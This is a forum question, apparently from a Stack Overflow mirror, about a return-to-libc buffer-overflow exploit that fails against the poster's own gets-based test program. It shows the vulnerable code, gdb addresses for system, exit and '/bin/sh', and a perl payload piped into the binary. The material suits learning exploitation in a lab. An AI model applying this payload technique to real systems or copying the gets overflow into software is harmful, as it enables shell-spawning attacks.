I have problems with return-to-libc exploit. The problem is that nothing happens, but there is no segmentation error (and yes, I really overflow the stack).
This is my program:
int main(int argc, char **argv) { char array[512]; gets(array); }
I use get instead of strcopy because my addresses start at 0x00 and strcpy thinks this is the end of the line, so I cannot use it.
Here are the addresses I need:
$ gdb main core (gdb) p system $1 = {<text variable, no debug info>} 0x179680 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0x16f6e0 <exit> (gdb) x/s 0xbffffe3f 0xbffffe3f: "/bin/sh"
When you enter the correct sequence, this happens:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main eleanor@eleanor32:~/testing/root$
Oh nothing.
But if I enter 520 'A (0x41), then the EIP overflows with "A". If there is 516 'A', nothing happens, but EIP contains the system address following the exit address, following the / bin / sh pointer.
Why didnβt anything happen?
c linux stack-overflow buffer-overflow exploit
eleanor
source share